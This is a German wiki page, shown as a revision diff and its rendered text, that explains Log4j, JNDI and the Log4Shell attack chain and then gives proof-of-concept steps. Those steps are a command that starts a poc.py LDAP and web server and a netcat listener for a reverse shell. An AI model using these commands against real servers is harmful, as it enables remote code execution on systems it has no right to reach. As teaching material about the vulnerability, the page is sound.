Log4j: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 18: Zeile 18:
 
*Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
 
*Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
 
*Nutzern der Schnittstelle können diese abrufen.
 
*Nutzern der Schnittstelle können diese abrufen.
 
+
==Der Angriff==
Der Angriff erfolgt folgendermassen. Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben. Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann. Dieser wird dann zur einer Java-Class kompiliert. Am Ende wird auf eine Url verwiesen wo die fertige Java-Class runtergeladen werden kann.  
+
*Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben.
 
+
*Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.  
Der angegriffene Server lädt diese runter und führt die Java-Class aus. In unserem Beispiel wird eine Remote Shell ausgeführt.
+
*Dieser wird dann zur einer Java-Class kompiliert.  
 +
*Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.  
 +
*Der angegriffene Server lädt diese runter und führt die Java-Class aus.  
 +
*Das könnte beispielsweise eine Remote Shell sein.
  
 
=Proof of Concept=
 
=Proof of Concept=

Version vom 23. Dezember 2021, 07:29 Uhr

Schaubild

Wirkungsweise

Was ist log4j

  • log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java.
  • Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.
  • log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.

Wie funktioniert es

  • Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,
  • log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
  • Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung.
  • Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird.
  • Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
  • Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.

JNDI

  • Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
  • Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
  • Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
  • Nutzern der Schnittstelle können diese abrufen.

Der Angriff

  • Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben.
  • Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
  • Dieser wird dann zur einer Java-Class kompiliert.
  • Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
  • Der angegriffene Server lädt diese runter und führt die Java-Class aus.
  • Das könnte beispielsweise eine Remote Shell sein.

Proof of Concept

Download und entpacken

  • jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

  • python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545

Log4j-1.png

Remoteshell listining

  • netcat -lp 4545

Log4j-2.png

App starten eventuell auf anderem Rechner

Webseite öffnen

Log4j-3.png

Exploit

Log4j-4.png

Exploit